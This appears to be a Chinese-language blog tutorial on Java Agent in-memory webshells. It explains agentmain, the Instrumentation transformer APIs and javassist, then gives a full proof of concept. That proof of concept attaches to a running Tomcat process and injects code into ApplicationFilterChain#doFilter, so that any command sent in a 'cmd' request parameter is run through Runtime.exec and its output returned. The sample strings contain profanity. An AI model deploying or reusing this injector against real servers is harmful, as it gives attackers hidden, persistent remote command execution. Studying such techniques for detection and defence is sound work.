初识Agent内存马
先说一下Agent
在JDK1.5后,javaagent是一种能够在不影响正常编译的情况下,修改字节码。
java作为一种强类型的语言,不通过编译就不能够进行jar包生成。而有了javaagent技术,就可以在字节码这个层面对类和方法进行修改。同时,也可以吧javaagent理解成一种代码注入的方式。但是这种注入比起spring的aop更加优美。
premain and agentmain
配置agent和写一个main方法没区别,只是方法名不同,并且需要在resourses/META-INF/MANIFEST.MF文件中设置相应的代理方法类
两个方法:premain, agentmain
二者都需要写好后打包成jar包使用,但使用方式不同,premain需要在命令执行时指定为-javaagent:
参数,而agentmain可以配合VirtualMachine获取正在执行的java进程直接使用
Example : remain
1
2
3
4
5
6
7
8
9
10
11
12
13
14
|
// premain
package org.example;
import java.lang.instrument.Instrumentation;
public class PremainTest {
public static void premain(String s, Instrumentation i) {
System.out.println("Fuck premain!");
}
}
// resourses/META-INF/MANIFEST.MF
Manifest-Version: 1.0
Premain-Class: org.example.PremainTest
|
使用(这边偷懒直接使用同一jar包
Example : agentmain
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
|
// agentmain
package org.example;
import java.lang.instrument.Instrumentation;
public class AgentmainTest {
public static void agentmain(String agentArgs, Instrumentation inst) {
System.out.println("Fuck agentmain!");
}
}
// test
public class Test {
public static void main(String[] args) throws IOException, AgentLoadException, AgentInitializationException, AttachNotSupportedException {
VirtualMachine virtualMachine = VirtualMachine.attach("60296");
virtualMachine.loadAgent(System.getProperty("user.dir") + "/out/artifacts/agentTest_jar/agentTest.jar");
virtualMachine.detach();
System.out.println("ends");
}
}
// resourses/META-INF/MANIFEST.MF
Manifest-Version: 1.0
Agent-Class: org.example.AgentmainTest
|
测试使用了正在运行中的tomcat进程
Instrumentation
上述两种方法都传入了一个Instrumentation类的实例,看一下这个类
是个接口,看一下实现类InstrumentationImpl,提供了很多方法,重点看一下内存马常用的三个函数
redefineClasses
redefineClasses,顾名思义,重新定义类。redefineClasses加载路线和正常定义的类相同,只是先将类的来源更换为指定的字节码
看一下源码,传入可变个ClassDefinition类型参数,首先做一些简单的判断,然后进入redefineClasses0方法(native)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
|
@Override
public void redefineClasses(ClassDefinition... definitions) throws ClassNotFoundException {
trace("retransformClasses");
if (!isRedefineClassesSupported()) {
throw new UnsupportedOperationException("redefineClasses is not supported in this environment");
}
if (definitions == null) {
throw new NullPointerException("null passed as 'definitions' in redefineClasses");
}
for (int i = 0; i < definitions.length; ++i) {
if (definitions[i] == null) {
throw new NullPointerException("element of 'definitions' is null in redefineClasses");
}
}
if (definitions.length == 0) {
return; // short-circuit if there are no changes requested
}
redefineClasses0(mNativeAgent, definitions);
}
|
看一下ClassDefinition,构造方法传入一个Class和一个包含Class的文件,两者是可选关系必须包含其中一个
1
2
3
4
5
6
7
8
9
|
public
ClassDefinition( Class<?> theClass,
byte[] theClassFile) {
if (theClass == null || theClassFile == null) {
throw new NullPointerException();
}
mClass = theClass;
mClassFile = theClassFile;
}
|
Instrumentation#redefineClasses有一定的局限性:新老类的父类、实现接口、访问符、字段必须相等,被新增或删除的方法必须是private static/final修饰
addTransformer用于加载一个转换器,首先判断传入的transformer是否为空,锁进程,判断canRetransform,根据其不同来控制要添加到的transformer集合类型,跟进看了一下TransformerManager#addTransformer,就是更新了一下transformerInfo数组通过重定义的形式,以此添加transformer,向下,判断TransformerManager中transformer数量,唯一则调用setHasRetransformableTransformers,如果canRetransform则判断数量后直接调用setHasTransformers,这两个方法都是native方法不深入看了,了解这个方法是在jvmti链上追加一个新节点就好
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
|
public void addTransformer(ClassFileTransformer transformer, boolean canRetransform) {
trace("addTransformer");
if (transformer == null) {
throw new NullPointerException("null passed as 'transformer' in addTransformer");
}
synchronized (this) {
if (canRetransform) {
if (!isRetransformClassesSupported()) {
throw new UnsupportedOperationException(
"adding retransformable transformers is not supported in this environment");
}
if (mRetransfomableTransformerManager == null) {
mRetransfomableTransformerManager = new TransformerManager(true);
}
mRetransfomableTransformerManager.addTransformer(transformer);
if (mRetransfomableTransformerManager.getTransformerCount() == 1) {
setHasRetransformableTransformers(mNativeAgent, true);
}
} else {
mTransformerManager.addTransformer(transformer);
if (mTransformerManager.getTransformerCount() == 1) {
setHasTransformers(mNativeAgent, true);
}
}
}
}
|
retransformClasses用于重新定义类,对传入的classes做简单的判断,调用retransformClasses0(native)
1
2
3
4
5
6
7
8
9
10
11
|
public void retransformClasses(Class<?>... classes) {
trace("retransformClasses");
if (!isRetransformClassesSupported()) {
throw new UnsupportedOperationException(
"retransformClasses is not supported in this environment");
}
if (classes.length == 0) {
return; // no-op
}
retransformClasses0(mNativeAgent, classes);
}
|
跟进看一下transformer进去看一下
这个类是一个转换类文件的代理接口,提供了一个transform方法,可以获取到Instrumentation对象后通过addTransformer方法添加自定义类文件转换器,addTransformer会注册Transformer到Java agent,当有新的类被jvm加载时,jvm会自动回调tranform方法,修改后将新的字节码返回给jvm。同时存在transform链,也就是多个转换器,其中间使用classFileBuffer传递字节码
1
2
3
4
5
6
7
8
9
|
default byte[]
transform( ClassLoader loader,
String className,
Class<?> classBeingRedefined,
ProtectionDomain protectionDomain,
byte[] classfileBuffer)
throws IllegalClassFormatException {
return null;
}
|
也就是说addTranformer只是执行了将我们重写的tranformer对象添加到agent中,侧重点在重写transform方法
现在来看一下如何重写transform方法来修改字节码
这边用到了另一个类javassist
javassist
一个用于编辑Java字节码的类库
javassist用于编辑java字节码,可以使java程序在运行时定义一个新类,并在jvm加载时修改类文件,使用方法类似于反射
几个核心组件:
ClassPool:存放CtClass的容器
CtClass:加强版的Class
CtMethod:加强版的Method,提供一些修改方法体的方法
直接写一版测试一下
用于测试被修改的类org.test.Main
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
|
package org.test;
import static java.lang.Thread.sleep;
public class Main {
public static void main(String[] args) throws Exception {
while (true) {
fuck();
sleep(3000);
}
}
public static void fuck() {
System.out.println("Fuck off!!");
}
}
|
重写transform的TransformerDemo类
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
|
package org.example;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
public class TransformerDemo implements ClassFileTransformer {
// public static final String
@Override
public byte[] transform(ClassLoader loader,
String className,
Class<?> classBeingRedefined,
ProtectionDomain protectionDomain,
byte[] classfileBuffer)
throws IllegalClassFormatException {
try {
// get ClassPool
ClassPool classPool = ClassPool.getDefault();
// add class search path
if (classBeingRedefined != null) {
ClassClassPath classClassPath = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(classClassPath);
}
// get class
CtClass ctClass = classPool.get("org.test.Main");
// get method
CtMethod ctMethod = ctClass.getDeclaredMethod("main");
// set method
ctMethod.setBody("{ System.out.println(\"Hello mother fucker :)\") }");
// return byte code
return ctClass.toBytecode();
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
}
|
执行类AgentmainTest
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
package org.example;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
public class AgentmainTest {
public static void agentmain(String agentArgs, Instrumentation inst) throws Exception {
Class[] classes = inst.getAllLoadedClasses();
for (Class aClass : classes) {
if (aClass.getName().equals("org.test.Main")) {
inst.addTransformer(new TransformerDemo(), true);
inst.retransformClasses(aClass);
}
}
}
}
|
Test类用于执行agentmain方法
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
|
package org.example;
import com.sun.tools.attach.*;
import java.io.IOException;
import java.util.List;
public class Test {
public static void main(String[] args) throws IOException, AgentLoadException, AgentInitializationException, AttachNotSupportedException {
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for (VirtualMachineDescriptor virtualMachineDescriptor : list) {
if (virtualMachineDescriptor.displayName().equals("org.test.Main")) {
VirtualMachine virtualMachine = VirtualMachine.attach(virtualMachineDescriptor.id());
virtualMachine.loadAgent("out/artifacts/agentTest_jar/agentTest.jar");
virtualMachine.detach();
}
}
}
}
|
MANIFEST.MF配置
1
2
3
4
5
|
Manifest-Version: 1.0
Premain-Class: org.example.PremainTest
Agent-Class: org.example.AgentmainTest
Can-Redefine-Classes: true
Can-Retransform-Classes: true
|
打包执行
PoC
知道了使用Java Agent来修改正在运行在jvm中的方法体,那么就可以直接hook一些jvm一定会调用并且修改后不会影响正常逻辑的方法进而实现内存马
这边尝试简单修改ApplicationFilterChain#doFilter,这也是网上Agent利用比较多的
Test.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
|
package org.example;
import com.sun.tools.attach.*;
import java.io.IOException;
import java.util.List;
public class Test {
public static void main(String[] args) throws IOException, AgentLoadException, AgentInitializationException, AttachNotSupportedException {
List<VirtualMachineDescriptor> list = VirtualMachine.list();
for (VirtualMachineDescriptor virtualMachineDescriptor : list) {
// System.out.println(virtualMachineDescriptor.displayName());
if (virtualMachineDescriptor.displayName().contains("org.apache.catalina.startup.Bootstrap")) {
VirtualMachine virtualMachine = VirtualMachine.attach(virtualMachineDescriptor.id());
virtualMachine.loadAgent(System.getProperty("user.dir") + "/out/artifacts/agentTest_jar/agentTest.jar");
virtualMachine.detach();
System.out.println("attach ok");
}
}
}
}
|
TransformerDemo.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
|
package org.example;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtMethod;
import java.lang.instrument.ClassFileTransformer;
import java.lang.instrument.IllegalClassFormatException;
import java.security.ProtectionDomain;
public class TransformerDemo implements ClassFileTransformer {
// public static final String
@Override
public byte[] transform(ClassLoader loader,
String className,
Class<?> classBeingRedefined,
ProtectionDomain protectionDomain,
byte[] classfileBuffer)
throws IllegalClassFormatException {
try {
// get ClassPool
ClassPool classPool = ClassPool.getDefault();
// add class search path
if (classBeingRedefined != null) {
ClassClassPath classClassPath = new ClassClassPath(classBeingRedefined);
classPool.insertClassPath(classClassPath);
}
// get class
CtClass ctClass = classPool.get("org.apache.catalina.core.ApplicationFilterChain");
// get method
CtMethod ctMethod = ctClass.getDeclaredMethod("doFilter");
// set method
ctMethod.insertBefore("""
{
jakarta.servlet.http.HttpServletRequest req = (jakarta.servlet.http.HttpServletRequest) request;
String cmd = req.getParameter("cmd");
if (cmd != null) {
java.io.InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
java.io.BufferedReader br = new java.io.BufferedReader(new java.io.InputStreamReader(is));
StringBuilder sb = new StringBuilder();
String line = null;
while((line = br.readLine()) != null) {
sb.append(line + "\\n");
}
br.close();
is.close();
response.setContentType("text/html;charset=utf-8");
response.getWriter().print(sb.toString());
response.getWriter().flush();
response.getWriter().close();
}
}""");
// return byte code
return ctClass.toBytecode();
} catch (Exception e) {
e.printStackTrace();
}
return classfileBuffer;
}
}
|
AgentmainTest.java
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
|
package org.example;
import java.lang.instrument.Instrumentation;
import java.lang.instrument.UnmodifiableClassException;
public class AgentmainTest {
public static void agentmain(String agentArgs, Instrumentation inst) throws Exception {
Class[] classes = inst.getAllLoadedClasses();
for (Class aClass : classes) {
if (aClass.getName().equals("org.apache.catalina.core.ApplicationFilterChain")) {
inst.addTransformer(new TransformerDemo(), true);
inst.retransformClasses(aClass);
}
}
}
}
|
其实这边如果注入到ApplicationFilterChain#doFilter有一个问题,就是如果网站起来了但是没访问过,那么这个类是不会加载的(Java动态加载),那么此时我们注入agent,上述代码是获取不到ApplicationFilterChain类的
这边做了一个小改进,hook类变更为StandardWrapperValve#invoke,这样既避免了运行过程中多次调用内存马(代码就不放了